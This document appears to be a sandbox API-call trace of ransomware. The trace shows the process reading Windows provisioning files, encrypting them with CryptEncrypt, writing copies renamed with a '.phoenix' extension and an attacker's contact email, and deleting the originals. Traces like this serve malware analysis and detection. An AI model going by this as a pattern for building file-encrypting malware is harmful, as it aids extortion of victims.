	[0256.850] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.851] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=717) returned 1
	[0256.851] CloseHandle (hObject=0x2d0) returned 1
	[0256.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.851] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.851] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151300) returned 1
	[0256.852] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.852] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0256.853] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0256.853] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0256.854] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.854] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.854] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.854] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.854] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.854] CloseHandle (hObject=0x2d0) returned 1
	[0256.855] CloseHandle (hObject=0x2c0) returned 1
	[0256.855] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\639__Connections_Cellular_Mico-P - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\639__connections_cellular_mico-p - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.856] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.856] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=645) returned 1
	[0256.856] CloseHandle (hObject=0x2c0) returned 1
	[0256.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.856] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.856] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.857] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0256.857] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.857] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x285, lpOverlapped=0x0) returned 1
	[0256.909] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0256.909] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0256.910] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0256.910] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.910] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0256.910] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.910] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0256.910] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.910] CloseHandle (hObject=0x2c0) returned 1
	[0256.910] CloseHandle (hObject=0x2d0) returned 1
	[0256.910] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\63__Connections_Cellular_Telus (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\63__connections_cellular_telus (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.912] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.912] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0256.912] CloseHandle (hObject=0x2d0) returned 1
	[0256.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.913] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.913] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.913] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.913] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0256.913] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.913] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0256.914] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.915] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.915] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0256.915] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.915] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.915] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.915] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.915] CryptDestroyKey (hKey=0x151180) returned 1
	[0256.916] CloseHandle (hObject=0x2d0) returned 1
	[0256.916] CloseHandle (hObject=0x2c0) returned 1
	[0256.916] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\647__Connections_Cellular_Macheen -3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\647__connections_cellular_macheen -3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.917] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.917] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0256.917] CloseHandle (hObject=0x2c0) returned 1
	[0256.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.917] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.917] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.917] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0256.918] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.918] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.919] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0256.919] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0256.920] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0256.920] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.920] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0256.920] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.920] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0256.920] CryptDestroyKey (hKey=0x151740) returned 1
	[0256.920] CloseHandle (hObject=0x2c0) returned 1
	[0256.920] CloseHandle (hObject=0x2d0) returned 1
	[0256.920] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\648__Connections_Cellular_Voiamo - 3 (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\648__connections_cellular_voiamo - 3 (united kingdom)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.921] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.921] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.922] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0256.922] CloseHandle (hObject=0x2d0) returned 1
	[0256.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\649__Connections_Cellular_Voiamo - 3 (United Kingdom)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\649__connections_cellular_voiamo - 3 (united kingdom)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
